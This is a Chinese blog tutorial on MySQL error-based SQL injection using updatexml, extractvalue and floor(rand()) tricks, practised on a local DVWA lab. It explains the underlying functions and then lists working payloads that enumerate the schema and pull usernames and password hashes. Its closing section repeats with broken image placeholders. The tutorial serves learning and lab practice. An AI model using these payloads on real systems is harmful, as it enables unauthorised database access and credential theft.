热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

SQL注入实战之报错注入篇(updatexmlextractvaluefloor)

SQL注入实战之报错注入篇(updatexmlextractvaluefloor)知识铺垫在上一篇中我们在漏洞页面中进行了SQL注入实战之联合查询&

SQL注入实战之报错注入篇(updatexml extractvalue floor)


知识铺垫

在上一篇中我们在漏洞页面中进行了SQL注入实战之联合查询,这篇文章带来的是SQL注入之报错注入篇。

首先我们来细分一下SQL注入分类

SQL注入分类:


  • 回显正常—> 联合查询 union select

  • 回显报错—> Duplicate entry()
    extractvalue()
       updatexml()

  • 盲注 —>布尔型盲注
    基于时间的盲注sleep()

在探讨SQL注入之报错注入之前,有一个前提就是页面能够响应详细的错误描述,然而mysql数据库中显示错误描述是因为开发程序中采用了print_r mysql_error()函数,将mysql错误信息输出。

还有就是一起默写一下SQL注入的核心语句吧,巩固记忆的同时,方便后续注入的使用~

information_schema

schemata(schema_name)

tables(table_schema,table_name)

columns(table_schema,table_name,column_name)

select schema_name from information_schema.schemata;

select table_name from information_schema.tables where table_schema=‘dvwa’;

select column_name from information_schema.columns where table_name=‘users’ and table_schema=‘dvwa’;

select concat(username,password) from dvwa.users;


xpath报错注入(extractvalue和updatexml)


一、知识铺垫(请认真研读)


  • 在mysql高版本(大于5.1版本)中添加了对XML文档进行查询和修改的函数:

    updatexml()

    extractvalue()

    当这两个函数在执行时,如果出现xml文档路径错误就会产生报错

  • updatexml()函数

    • updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。

    • 作用:改变文档中符合条件的节点的值

    • 语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据

    • updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)

    • 例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。

  • **extractvalue()函数
    **

    • 此函数从目标XML中返回包含所查询值的字符串 语法:extractvalue(XML_document,xpath_string) 第一个参数:string格式,为XML文档对象的名称 第二个参数:xpath_string(xpath格式的字符串) select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
    • extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
    • select user,password from users where user_id=1 and (extractvalue(1,0x7e));
    • 由于0x7e就是~不属于xpath语法格式,因此报出xpath语法错误。

二、updatexml()报错注入实战(基于dvwa平台)

前景提示:本人在虚拟机中搭建好了dvwa平台,在本机中完成SQL注入实战,加载dvwa直接进入SQL注入模块,我这里的等级为low。

我将自己构造的payload语句进行加粗显示,剩下的都是固定格式。

**
开始注入**

**爆出数据库及相关信息
**1’ and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#

img

爆当前数据库表信息

1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #

img

注:此处使用group_concat()函数进行输出,否则会出现错误。如下图所示。

img

爆user表字段信息

1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’),0x7e),1) #

img

爆数据库内容

1’ and updatexml(1,concat(0x7e,(select group_concat(first_name,0x7e,last_name) from dvwa.users)),1) #

img

三、extractvalue()报错注入实战(基于dvwa平台)
extractvalue()函数其实与updatexml()函数大同小异,都是通过xpath路径错误报错,而本人的示例中皆为利用0x7e(~),其不属于xpath语法格式,因此报出xpath语法错误。

1’ and extractvalue(1,concat(0x7e,user(),0x7e,database())) #

img

1’ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) #

img

1’ and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’))) #

img

1’ and extractvalue(1,concat(0x7e,(select group_concat(user_id,0x7e,first_name,0x3a,last_name) from dvwa.users))) #

img


floor()函数报错注入


一、概述

原理:利用select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x;导致数据库报错,通过concat函数连接注入语句与floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。


二、函数理解

附带一下本次解释函数的表创建步骤(不再附图)以及数据的填充。

create database test1;
use test1;

create table czs(id int unsigned not null primary key auto_increment, name varchar(15) not null);

insert into czs(id,name) values(1,‘chenzishuo’);
insert into czs(id,name) values(2,‘zhangsan’);
insert into czs(id,name) values(3,‘lisi’);
insert into czs(id,name) values(4,‘wangwu’);


  • rand()函数

    rand()可以产生一个在0和1之间的随机数

    img

    可以看出,直接使用rand函数每次产生的数值不一样,但当我们提供了一个固定的随机数的种子0之后,每次产生的值都是相同的,这也可以称之为伪随机。

    img

  • floor (rand(0)*2)函数

    floor函数的作用就是返回小于等于括号内该值的最大整数。

    rand()本身是返回01的随机数,但在后面*2就变成了返回02之间的随机数。

    配合上floor函数就可以产生确定的两个数,即0和1。

    并且结合固定的随机数种子0,它每次产生的随机数列都是相同的值。

    此处的myclass 表为含有四行数据的表。

    结合上述的函数,每次产生的随机数列都是 0 1 1 0

group by 函数
group by 函数,作用就是分类汇总。
等一下再说group by,我们首先看一下我的表。

img

再在id 和 name后分别放入a x,意思就是id显示为a name显示为x。
img

然后使用group by 函数进行分组,并且按照x(name)进行排序。

img

友情提示:在使用group by 函数进行分类时,会因为mysql版本问题而产生问题,主要是启用了ONLY_FULL_GROUP_BY SQL模式(默认情况下),MySQL将拒绝选择列表,HAVING条件或ORDER BY列表的查询引用在GROUP BY子句中既未命名的非集合列,也不在功能上依赖于它们。(或者自行百度解决)
https://blog.csdn.net/weixin_41991232/article/details/82803170


  • count(*)函数

    count(*)函数作用为统计结果的记录数。

    这就是对重复的数据进行整合计数,x就是每个name的数量,我这里每个只有一个当然count(*)都为1了。

  • *综合使用产生报错
    select count(*),floor(rand(0)*2) x from czs group by x;
    当count(*)和group by x同时执行时,就会爆出duplicate entry错误。
    *

    img

    根据前面的函数,这句话是统计后面的floor(rand(0)*2)from czs产生的随机数种类并计算数量,0110,应该是两个两个,但是最后却报错了。

    **报错原因解析
    **

    通过 floor 报错的方法来爆数据的本质是 group by 语句的报错。group by 语句报错的原因

    是 floor(random(0)*2)的不确定性,即可能为 0 也可能为 1

    group by key 执行时循环读取数据的每一行,将结果保存于临时表中。读取每一行的 key 时,

    如果 key 存在于临时表中,则更新临时表中的数据(更新数据时,不再计算 rand 值);如果

    该 key 不存在于临时表中,则在临时表中插入 key 所在行的数据。(插入数据时,会再计算

    rand 值)

    如果此时临时表只有 key 为 1 的行不存在 key 为 0 的行,那么数据库要将该条记录插入临

    时表,由于是随机数,插时又要计算一下随机值,此时 floor(random(0)*2)结果可能为 1,就

    会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值

    实际测试中发现,出现报错,至少要求数据记录为 3 行,记录数超过 3 行一定会报错,2 行

    时是不报错的。


三、实战注入(基于dvwa平台)

①判断是否存在报错注入
id=1’ union select count(*),floor(rand(0)*2) x from information_schema.schemata group by x#
img

可以看出存在报错注入
②爆出当前数据库名

id=1’ union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x #
dvwa前的1 是哪个随机数,不要大惊小怪哦~
img

③爆出表

id=1’ union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema=‘dvwa’ limit 0,1)) x from information_schema.schemata group by x#
img

id=1’ union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema=‘dvwa’ limit 1,1)) x from information_schema.schemata group by x#
img

④爆出字段名

id=1’ union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘dvwa’ limit 0,1)) x from information_schema.schemata group by x#
img

改变limit限定数值,可以得出当前的字段 user_id first_name user password

⑤爆出user和password

id=1’ union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(user,0x3a,password) from dvwa.users limit 0,1)) x from information_schema.schemata group by x#
img

再解码可得 admin-password
img

304035)]

改变limit限定数值,可以得出当前的字段 user_id first_name user password

⑤爆出user和password

id=1’ union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(user,0x3a,password) from dvwa.users limit 0,1)) x from information_schema.schemata group by x#
[外链图片转存中…(img-OulhKf9F-1646315304035)]

再解码可得 admin-password
[外链图片转存中…(img-l88Ioa1w-1646315304035)]

大功告成!~~!


推荐阅读
  • MyBatis多表查询与动态SQL使用
    本文介绍了MyBatis多表查询与动态SQL的使用方法,包括一对一查询和一对多查询。同时还介绍了动态SQL的使用,包括if标签、trim标签、where标签、set标签和foreach标签的用法。文章还提供了相关的配置信息和示例代码。 ... [详细]
  • r2dbc配置多数据源
    R2dbc配置多数据源问题根据官网配置r2dbc连接mysql多数据源所遇到的问题pom配置可以参考官网,不过我这样配置会报错我并没有这样配置将以下内容添加到pom.xml文件d ... [详细]
  • 在Oracle11g以前版本中的的DataGuard物理备用数据库,可以以只读的方式打开数据库,但此时MediaRecovery利用日志进行数据同步的过 ... [详细]
  • 本文介绍了在使用Laravel和sqlsrv连接到SQL Server 2016时,如何在插入查询中使用输出子句,并返回所需的值。同时讨论了使用CreatedOn字段返回最近创建的行的解决方法以及使用Eloquent模型创建后,值正确插入数据库但没有返回uniqueidentifier字段的问题。最后给出了一个示例代码。 ... [详细]
  • Activiti7流程定义开发笔记
    本文介绍了Activiti7流程定义的开发笔记,包括流程定义的概念、使用activiti-explorer和activiti-eclipse-designer进行建模的方式,以及生成流程图的方法。还介绍了流程定义部署的概念和步骤,包括将bpmn和png文件添加部署到activiti数据库中的方法,以及使用ZIP包进行部署的方式。同时还提到了activiti.cfg.xml文件的作用。 ... [详细]
  • 本文介绍了使用kotlin实现动画效果的方法,包括上下移动、放大缩小、旋转等功能。通过代码示例演示了如何使用ObjectAnimator和AnimatorSet来实现动画效果,并提供了实现抖动效果的代码。同时还介绍了如何使用translationY和translationX来实现上下和左右移动的效果。最后还提供了一个anim_small.xml文件的代码示例,可以用来实现放大缩小的效果。 ... [详细]
  • Spring特性实现接口多类的动态调用详解
    本文详细介绍了如何使用Spring特性实现接口多类的动态调用。通过对Spring IoC容器的基础类BeanFactory和ApplicationContext的介绍,以及getBeansOfType方法的应用,解决了在实际工作中遇到的接口及多个实现类的问题。同时,文章还提到了SPI使用的不便之处,并介绍了借助ApplicationContext实现需求的方法。阅读本文,你将了解到Spring特性的实现原理和实际应用方式。 ... [详细]
  • flowable工作流 流程变量_信也科技工作流平台的技术实践
    1背景随着公司业务发展及内部业务流程诉求的增长,目前信息化系统不能够很好满足期望,主要体现如下:目前OA流程引擎无法满足企业特定业务流程需求,且移动端体 ... [详细]
  • 本文介绍了Android 7的学习笔记总结,包括最新的移动架构视频、大厂安卓面试真题和项目实战源码讲义。同时还分享了开源的完整内容,并提醒读者在使用FileProvider适配时要注意不同模块的AndroidManfiest.xml中配置的xml文件名必须不同,否则会出现问题。 ... [详细]
  • Oracle10g备份导入的方法及注意事项
    本文介绍了使用Oracle10g进行备份导入的方法及相关注意事项,同时还介绍了2019年独角兽企业重金招聘Python工程师的标准。内容包括导出exp命令、删用户、创建数据库、授权等操作,以及导入imp命令的使用。详细介绍了导入时的参数设置,如full、ignore、buffer、commit、feedback等。转载来源于https://my.oschina.net/u/1767754/blog/377593。 ... [详细]
  • Android开发实现的计时器功能示例
    本文分享了Android开发实现的计时器功能示例,包括效果图、布局和按钮的使用。通过使用Chronometer控件,可以实现计时器功能。该示例适用于Android平台,供开发者参考。 ... [详细]
  • 本文讨论了在使用sp_msforeachdb执行动态SQL命令时,当发生错误时如何捕获数据库名称。提供了两种解决方案,并介绍了如何正确使用'?'来显示数据库名称。 ... [详细]
  • PDO MySQL
    PDOMySQL如果文章有成千上万篇,该怎样保存?数据保存有多种方式,比如单机文件、单机数据库(SQLite)、网络数据库(MySQL、MariaDB)等等。根据项目来选择,做We ... [详细]
  • iOS超签签名服务器搭建及其优劣势
    本文介绍了搭建iOS超签签名服务器的原因和优势,包括不掉签、用户可以直接安装不需要信任、体验好等。同时也提到了超签的劣势,即一个证书只能安装100个,成本较高。文章还详细介绍了超签的实现原理,包括用户请求服务器安装mobileconfig文件、服务器调用苹果接口添加udid等步骤。最后,还提到了生成mobileconfig文件和导出AppleWorldwideDeveloperRelationsCertificationAuthority证书的方法。 ... [详细]
  • 本文主要复习了数据库的一些知识点,包括环境变量设置、表之间的引用关系等。同时介绍了一些常用的数据库命令及其使用方法,如创建数据库、查看已存在的数据库、切换数据库、创建表等操作。通过本文的学习,可以加深对数据库的理解和应用能力。 ... [详细]
author-avatar
罗斌强
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有